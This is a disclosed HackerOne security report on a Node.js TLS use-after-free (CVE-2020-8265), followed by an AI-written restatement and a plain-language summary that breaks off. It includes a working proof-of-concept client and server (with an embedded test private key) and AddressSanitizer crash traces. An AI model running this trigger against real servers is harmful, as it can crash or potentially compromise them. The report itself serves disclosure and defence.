Skip to content
Memory corruption Disclosed report Advanced CVE-2020-8265

Node.js: use-after-free in TLSWrap

A use-after-free flaw in Node.js's TLS implementation occurs when writing to a TLS socket and the underlying write fails, causing the WriteWrap object to be freed but still returned as if valid. An attacker could potentially exploit this to achieve remote code execution, though the report notes it may be difficult without specific heap conditions.

fwilhelm Follow

Originally disclosed on HackerOne

High 7.5 View original
  • Triaged in 19 hours
  • Fixed in 3 months
  • Paid in 6 months
  • Disclosed after 3 months

Node.js: use-after-free in TLSWrap

Node v14.11.0 (Current) is vulnerable to a use-after-free bug in its TLS implementation. When writing to a TLS enabled socket, node::StreamBase::Write calls node::TLSWrap::DoWrite with a freshly allocated WriteWrap object as first argument. If the DoWrite method does not return an error, this object is passed back to the caller as part of a StreamWriteResult structure: // stream_base-inl.h WriteWrap* req_wrap = CreateWriteWrap(req_wrap_obj);

err = DoWrite(req_wrap, bufs, count, send_handle); bool async = err == 0;

if (!async) { req_wrap->Dispose(); req_wrap = nullptr; }

const char* msg = Error(); if (msg != nullptr) { req_wrap_obj->Set(env->context(), env->error_string(), OneByteString(env->isolate(), msg)).Check(); ClearError(); }

return StreamWriteResult { async, err, req_wrap, total_bytes };

The problem is that TLSWrap::DoWrite can trigger a free of the WriteWrap object without returning an error when the EncOut() call at the end of the DoWrite method fails. EncOut() calls underlying_stream()->Write() to write TLS encrypted data to the network socket. If this write fails, InvokeQueued() is called and the function returns immediately:

// tls_wrap.cc // Write any encrypted/handshake output that may be ready. // Guard against sync call of current_write_->Done(), its unsupported. in_dowrite_ = true; EncOut(); in_dowrite_ = false;

return 0;

// tls_wrap.cc void TLSWrap::EncOut() { [...]

Debug(this, "Writing %zu buffers to the underlying stream", count); StreamWriteResult res = underlying_stream()->Write(bufs, count); if (res.err != 0) { InvokeQueued(res.err); return; } [..]

InvokeQueued() triggers an immediate free of the req_wrap WriteWrap* object via the following call chain: node::TLSWrap::InvokeQueued -> node::StreamReq::Done -> node::WriteWrap::OnDone -> node::StreamReq::Dispose -> node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl() -> node::BaseObject::decrease_refcount() -> node::SimpleWriteWrapnode::AsyncWrap::~SimpleWriteWrap()

Making underlying_stream()->Write fail is as easy as closing the socket at the other side of the connection just before the write to trigger a broken pipe error.

Because node::TLSWrap::DoWrite doesn't return an error code, node::StreamBase::Write will return the freed WriteWrap object as part of its StreamWriteResult. For calls by node::StreamBase::WriteV, this will immediately trigger a use-after-free when the SetAllocatedStorage() method is called on the freed object:

// stream_base.cc StreamWriteResult res = Write(*bufs, count, nullptr, req_wrap_obj); SetWriteResult(res); if (res.wrap != nullptr && storage_size > 0) { res.wrap->SetAllocatedStorage(std::move(storage)); }

The bug can be easily triggered against a simple node HTTPS server application. Under normal circumstances and without an ASAN enabled build, the UAF doesn't trigger a crash on Linux as the freed memory won't get reallocated in time and the write in SetAllocatedStorage corrupts chunk metadata that isn't used for small chunks. I think this is the only reason why the bug wasn't spotted earlier, as the broken pipe error path should be hit pretty often in the real world. However, this issue might still be exploitable with the right heap layout (if the WriteWrap chunk is merged with a larger chunk during the free), different heap implementations and/or some other control flow that allows to allocate something before the reuse.

Proof-of-Concept:

server.js:

const https = require('https');

const key = `-----BEGIN EC PARAMETERS-----
BggqhkjOPQMBBw==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIDKfHHbiJMdu2STyHL11fWC7psMY19/gUNpsUpkwgGACoAoGCCqGSM49
AwEHoUQDQgAEItqm+pYj3Ca8bi5mBs+H8xSMxuW2JNn4I+kw3aREsetLk8pn3o81
PWBiTdSZrGBGQSy+UAlQvYeE6Z/QXQk8aw==
-----END EC PRIVATE KEY-----`

const cert = `-----BEGIN CERTIFICATE-----
MIIBhjCCASsCFDJU1tCo88NYU//pE+DQKO9hUDsFMAoGCCqGSM49BAMCMEUxCzAJ
BgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5l
dCBXaWRnaXRzIFB0eSBMdGQwHhcNMjAwOTIyMDg1NDU5WhcNNDgwMjA3MDg1NDU5
WjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwY
SW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcD
QgAEItqm+pYj3Ca8bi5mBs+H8xSMxuW2JNn4I+kw3aREsetLk8pn3o81PWBiTdSZ
rGBGQSy+UAlQvYeE6Z/QXQk8azAKBggqhkjOPQQDAgNJADBGAiEA7Bdn4F87KqIe
Y/ABy/XIXXpFUb2nyv3zV7POQi2lPcECIQC3UWLmfiedpiIKsf9YRIyO0uEood7+
glj2R1NNr1X68w==
-----END CERTIFICATE-----`

const options = {
  key: key,
  cert: cert,
};

https.createServer(options, function (req, res) {
  res.writeHead(200);
  res.end("hello world\n");
}).listen(4444);

poc.js:

const tls = require('tls')

var socket = tls.connect(4444, 'localhost', {rejectUnauthorized : false}, () => {
  console.log("connected")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
})


socket.on('data', () => {
  socket.destroy()
})  

The POC triggers a crash when server.js is run on an ASAN enabled build of node.js:

==1408671==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000011138 at pc 0x0000011929b6 bp 0x7ffc8c2243f0 sp 0x7ffc8c2243e8
READ of size 8 at 0x608000011138 thread T0
    #0 0x11929b5 in std::__uniq_ptr_impl<v8::BackingStore, std::default_delete<v8::BackingStore> >::_M_ptr() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:154:42
    #1 0x1192974 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::get() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:361:21
    #2 0x1193fb4 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::operator bool() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:375:16
    #3 0x1190415 in node::AllocatedBuffer::data() /pwd/out/../src/allocated_buffer-inl.h:79:8
    #4 0x16f8a79 in node::WriteWrap::SetAllocatedStorage(node::AllocatedBuffer&&) /pwd/out/../src/stream_base-inl.h:247:3
    #5 0x16f1141 in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:172:15
    #6 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29
    #7 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3
    #8 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:111:36
    #9 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:141:5
    #10 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:129:1
    #11 0x3e096df in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)

0x608000011138 is located 24 bytes inside of 88-byte region [0x608000011120,0x608000011178)
freed by thread T0 here:
    #0 0xe79b1d in operator delete(void*) (/p0/node/node-v14.11.0/out/Debug/node+0xe79b1d)
    #1 0x1707177 in node::SimpleWriteWrap<node::AsyncWrap>::~SimpleWriteWrap() /pwd/out/../src/stream_base.h:418:7
    #2 0xf943be in node::BaseObject::decrease_refcount() /pwd/out/../src/base_object-inl.h:203:7
    #3 0x10886e6 in node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl() /pwd/out/../src/base_object-inl.h:248:12
    #4 0x13c2a3c in node::StreamReq::Dispose() /pwd/out/../src/stream_base-inl.h:40:1
    #5 0x16f794c in node::WriteWrap::OnDone(int) /pwd/out/../src/stream_base.cc:591:3
    #6 0x10e71f8 in node::StreamReq::Done(int, char const*) /pwd/out/../src/stream_base-inl.h:261:3
    #7 0x1921f95 in node::TLSWrap::InvokeQueued(int, char const*) /pwd/out/../src/tls_wrap.cc:101:8
    #8 0x1927f39 in node::TLSWrap::EncOut() /pwd/out/../src/tls_wrap.cc:356:5
    #9 0x192e258 in node::TLSWrap::DoWrite(node::WriteWrap*, uv_buf_t*, unsigned long, uv_stream_s*) /pwd/out/../src/tls_wrap.cc:820:3
    #10 0x13b50dd in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/../src/stream_base-inl.h:193:9
    #11 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:169:27
    #12 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29
    #13 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3
    #14 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:111:36
    #15 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:141:5
    #16 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:129:1
    #17 0x3e096df in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)
 
previously allocated by thread T0 here:
    #0 0xe792bd in operator new(unsigned long) (/p0/node/node-v14.11.0/out/Debug/node+0xe792bd)
    #1 0x16f81c2 in node::StreamBase::CreateWriteWrap(v8::Local<v8::Object>) /pwd/out/../src/stream_base.cc:629:10
    #2 0x13b4fb0 in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/../src/stream_base-inl.h:191:25
    #3 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:169:27
    #4 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29
    #5 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3
    #6 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:111:36
    #7 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:141:5
    #8 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:129:1
    #9 0x3e096df in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)
    #10 0x3c06181 in Builtins_InterpreterEntryTrampoline (/p0/node/node-v14.11.0/out/Debug/node+0x3c06181)
    #11 0x3c06181 in Builtins_InterpreterEntryTrampoline (/p0/node/node-v14.11.0/out/Debug/node+0x3c06181)
   

SUMMARY: AddressSanitizer: heap-use-after-free /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:154:42 in std::__uniq_ptr_impl<v8::BackingStore, std::default_delete<v8::BackingStore> >::_M_ptr() const
Shadow bytes around the buggy address:
  0x0c107fffa1d0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa1e0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa1f0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa200: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x0c107fffa210: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c107fffa220: fa fa fa fa fd fd fd[fd]fd fd fd fd fd fd fd fa
  0x0c107fffa230: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa240: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa250: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa260: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa270: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1408671==ABORTING

Credits: Felix Wilhelm of Google Project Zero

This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-12-21. Disclosure at an earlier date is also possible if agreed upon by all parties.

Impact

Remote code execution

The original report as published on HackerOne, by fwilhelm. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

Node.js implements TLS on top of its stream abstraction. When JavaScript writes to a TLS enabled socket, the write is routed through node::StreamBase::Write, which allocates a WriteWrap object and hands it to the stream implementation's DoWrite method. For TLS sockets that implementation is node::TLSWrap::DoWrite. The contract is simple: if DoWrite returns an error, the caller disposes of the WriteWrap; if it returns success, the caller keeps the object and returns it to the caller inside a StreamWriteResult structure.

The report describes a use-after-free in that contract on Node v14.11.0 (Current). The WriteWrap can be freed inside TLSWrap::DoWrite while DoWrite still returns success, so the caller ends up holding and using a dangling pointer.

Setup

The researcher tested against Node v14.11.0 (Current). The proof of concept consists of two small scripts: an HTTPS server (server.js) and a client (poc.js). The crash was observed when server.js was run on an ASAN enabled build of Node.js. No other tooling, accounts or roles are involved.

Finding it

The starting point is the allocation and error handling in node::StreamBase::Write:

Text
// stream_base-inl.h
WriteWrap* req_wrap = CreateWriteWrap(req_wrap_obj);

err = DoWrite(req_wrap, bufs, count, send_handle);
bool async = err == 0;

if (!async) {
  req_wrap->Dispose();
  req_wrap = nullptr;
}

const char* msg = Error();
if (msg != nullptr) {
  req_wrap_obj->Set(env->context(),
                    env->error_string(),
                    OneByteString(env->isolate(), msg)).Check();
  ClearError();
}

return StreamWriteResult { async, err, req_wrap, total_bytes };

The WriteWrap is only disposed by the caller when DoWrite returns a non-zero error. Otherwise the object is passed back as part of the StreamWriteResult.

The problem is that TLSWrap::DoWrite can trigger a free of the WriteWrap object without returning an error, when the EncOut() call at the end of the method fails. EncOut() calls underlying_stream()->Write() to write TLS encrypted data to the network socket. If that write fails, InvokeQueued() is called and the function returns immediately:

Text
// tls_wrap.cc
// Write any encrypted/handshake output that may be ready.
// Guard against sync call of current_write_->Done(), its unsupported.
in_dowrite_ = true;
EncOut();
in_dowrite_ = false;

return 0;

// tls_wrap.cc
void TLSWrap::EncOut() {
[...]

Debug(this, "Writing %zu buffers to the underlying stream", count);
StreamWriteResult res = underlying_stream()->Write(bufs, count);
if (res.err != 0) {
  InvokeQueued(res.err);
  return;
}
[..]

Note the return 0 after EncOut(): whatever happened inside EncOut(), DoWrite reports success to its caller.

InvokeQueued() triggers an immediate free of the req_wrap WriteWrap* object via the following call chain:

Text
node::TLSWrap::InvokeQueued -> node::StreamReq::Done -> node::WriteWrap::OnDone
-> node::StreamReq::Dispose -> node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl()
-> node::BaseObject::decrease_refcount() -> node::SimpleWriteWrap<node::AsyncWrap>::~SimpleWriteWrap()

Making underlying_stream()->Write fail is as easy as closing the socket at the other side of the connection just before the write, to trigger a broken pipe error.

Because node::TLSWrap::DoWrite doesn't return an error code, node::StreamBase::Write returns the freed WriteWrap object as part of its StreamWriteResult. For calls by node::StreamBase::WriteV, this immediately triggers a use-after-free when the SetAllocatedStorage() method is called on the freed object:

Text
// stream_base.cc
StreamWriteResult res = Write(*bufs, count, nullptr, req_wrap_obj);
SetWriteResult(res);
if (res.wrap != nullptr && storage_size > 0) {
  res.wrap->SetAllocatedStorage(std::move(storage));
}

Exploitation

Step 1: run a TLS server

The bug can be easily triggered against a simple Node HTTPS server application. server.js creates an HTTPS server with an inline EC key and certificate and listens on port 4444:

JavaScript
const https = require('https');

const key = `-----BEGIN EC PARAMETERS-----
BggqhkjOPQMBBw==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
[redacted]/gUNpsUpkwgGACoAoGCCqGSM49
AwEHoUQDQgAEItqm+pYj3Ca8bi5mBs+H8xSMxuW2JNn4I+kw3aREsetLk8pn3o81
PWBiTdSZrGBGQSy+UAlQvYeE6Z/QXQk8aw==
-----END EC PRIVATE KEY-----`

const cert = `-----BEGIN CERTIFICATE-----
MIIBhjCCASsCFDJU1tCo88NYU//pE+[redacted]
[redacted]
[redacted]
[redacted]
[redacted]
QgAEItqm+pYj3Ca8bi5mBs+H8xSMxuW2JNn4I+kw3aREsetLk8pn3o81PWBiTdSZ
rGBGQSy+UAlQvYeE6Z/[redacted]
Y/ABy/[redacted]+
glj2R1NNr1X68w==
-----END CERTIFICATE-----`

const options = {
  key: key,
  cert: cert,
};

https.createServer(options, function (req, res) {
  res.writeHead(200);
  res.end("hello world\n");
}).listen(4444);

The handler answers every request with 200 and the body hello world. The key and certificate are only there to make the server speak TLS.

Step 2: connect, send requests, then close

poc.js connects to the server, sends three keep-alive HTTP requests, and destroys the socket as soon as any data comes back:

JavaScript
const tls = require('tls')

var socket = tls.connect(4444, 'localhost', {rejectUnauthorized : false}, () => {
  console.log("connected")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
})

socket.on('data', () => {
  socket.destroy()
})

The client disables certificate verification with rejectUnauthorized : false, which is fine for a local test. The three pipelined requests keep the server writing responses. The data handler calls socket.destroy(), closing the client side of the connection. The next time the server writes encrypted data to that socket, the underlying write fails with a broken pipe, which is exactly the condition needed to reach the vulnerable path.

Step 3: observe the crash under ASAN

The POC triggers a crash when server.js is run on an ASAN enabled build of node.js:

Text
==1408671==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000011138 at pc 0x0000011929b6 bp 0x7ffc8c2243f0 sp 0x7ffc8c2243e8
READ of size 8 at 0x608000011138 thread T0
    #0 0x11929b5 in std::__uniq_ptr_impl<v8::BackingStore, std::default_delete<v8::BackingStore> >::_M_ptr() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:154:42
    #1 0x1192974 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::get() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:361:21
    #2 0x1193fb4 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::operator bool() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:375:16
    #3 0x1190415 in node::AllocatedBuffer::data() /pwd/out/../src/allocated_buffer-inl.h:79:8
    #4 0x16f8a79 in node::WriteWrap::SetAllocatedStorage(node::AllocatedBuffer&&) /pwd/out/../src/stream_base-inl.h:247:3
    #5 0x16f1141 in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:172:15
    #6 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29
    #7 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3
    #8 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:111:36
    #9 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:141:5
    #10 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:129:1
    #11 0x3e096df in [redacted] (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)

0x608000011138 is located 24 bytes inside of 88-byte region [0x608000011120,0x608000011178)
freed by thread T0 here:
    #0 0xe79b1d in operator delete(void*) (/p0/node/node-v14.11.0/out/Debug/node+0xe79b1d)
    #1 0x1707177 in node::SimpleWriteWrap<node::AsyncWrap>::~SimpleWriteWrap() /pwd/out/../src/stream_base.h:418:7
    #2 0xf943be in node::BaseObject::decrease_refcount() /pwd/out/../src/base_object-inl.h:203:7
    #3 0x10886e6 in node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl() /pwd/out/../src/base_object-inl.h:248:12
    #4 0x13c2a3c in node::StreamReq::Dispose() /pwd/out/../src/stream_base-inl.h:40:1
    #5 0x16f794c in node::WriteWrap::OnDone(int) /pwd/out/../src/stream_base.cc:591:3
    #6 0x10e71f8 in node::StreamReq::Done(int, char const*) /pwd/out/../src/stream_base-inl.h:261:3
    #7 0x1921f95 in node::TLSWrap::InvokeQueued(int, char const*) /pwd/out/../src/tls_wrap.cc:101:8
    #8 0x1927f39 in node::TLSWrap::EncOut() /pwd/out/../src/tls_wrap.cc:356:5
    #9 0x192e258 in node::TLSWrap::DoWrite(node::WriteWrap*, uv_buf_t*, unsigned long, uv_stream_s*) /pwd/out/../src/tls_wrap.cc:820:3
    #10 0x13b50dd in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/../src/stream_base-inl.h:193:9
    #11 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:169:27
    #12 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29
    #13 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3
    #14 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:111:36
    #15 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:141:5
    #16 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:129:1
    #17 0x3e096df in [redacted] (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)

previously allocated by thread T0 here:
    #0 0xe792bd in operator new(unsigned long) (/p0/node/node-v14.11.0/out/Debug/node+0xe792bd)
    #1 0x16f81c2 in node::StreamBase::CreateWriteWrap(v8::Local<v8::Object>) /pwd/out/../src/stream_base.cc:629:10
    #2 0x13b4fb0 in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/../src/stream_base-inl.h:191:25
    #3 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:169:27
    #4 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29
    #5 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3
    #6 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(an

The report shows the read happening in node::WriteWrap::SetAllocatedStorage, reached from node::StreamBase::Writev. The free stack shows the object being destroyed through node::TLSWrap::InvokeQueued and node::TLSWrap::EncOut inside node::TLSWrap::DoWrite, and the allocation stack shows it being created by node::StreamBase::CreateWriteWrap. The freed region is 88 bytes, and the faulting address is 24 bytes inside it.

Root cause

TLSWrap::DoWrite calls EncOut() and then unconditionally returns 0. When EncOut()'s write to the underlying stream fails, InvokeQueued() runs the Done/OnDone/Dispose chain synchronously and destroys the WriteWrap that was passed in. The caller in StreamBase::Write sees a success return, so it does not dispose the object itself and instead returns the now dangling pointer in the StreamWriteResult. StreamBase::WriteV then calls SetAllocatedStorage() on that freed object.

Under normal circumstances and without an ASAN enabled build, the UAF doesn't trigger a crash on Linux, as the freed memory won't get reallocated in time and the write in SetAllocatedStorage corrupts chunk metadata that isn't used for small chunks. The researcher suggests this is the only reason the bug wasn't spotted earlier, since the broken pipe error path should be hit pretty often in the real world. The issue might still be exploitable with the right heap layout (if the WriteWrap chunk is merged with a larger chunk during the free), different heap implementations and/or some other control flow that allows to allocate something before the reuse.

Impact

The report states the impact as remote code execution. The trigger is closing the socket at the other side of the connection just before the server writes, which produces a broken pipe and reaches the vulnerable path. In practice, on a normal Linux build the corruption described above does not crash the process, and turning it into code execution depends on heap layout, the allocator in use and the ability to allocate before the freed chunk is reused.

Fix

The report does not describe a fix or a patch. The defect it identifies is the unconditional return 0 in TLSWrap::DoWrite after EncOut():

Variants to test

  1. Other stream implementations that call back into user or completion code synchronously from inside DoWrite and then return success. A positive result is a WriteWrap freed on the InvokeQueued path while the caller still receives it in a StreamWriteResult.
  2. Write paths that reach SetAllocatedStorage, such as WriteV with a non-zero storage size. A positive result is an ASAN report pointing at node::WriteWrap::SetAllocatedStorage reading freed memory.
  3. Error paths other than broken pipe that make underlying_stream()->Write fail during EncOut(). A positive result is the same free-then-use sequence in the stack trace.
  4. Heap layouts where the freed WriteWrap chunk is merged with a larger chunk, or allocators other than the default Linux one. A positive result is a crash or controlled corruption on a non-ASAN build, which the report says does not happen under normal circumstances.

Credits: Felix Wilhelm of Google Project Zero. The report notes that the bug is subject to a 90 day disclosure deadline, with a scheduled disclosure date of 2020-12-21, and that earlier disclosure is possible if agreed upon by all parties.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 23 min read.

What happened, in plain words

Node.js is a program that lets people run JavaScript outside a web browser, most often on a server. Among other things it can run a web server that speaks HTTPS, the encrypted version of the web protocol. This report describes a memory bug in that HTTPS code, in version v14.11.0 (Current) of Node.js.

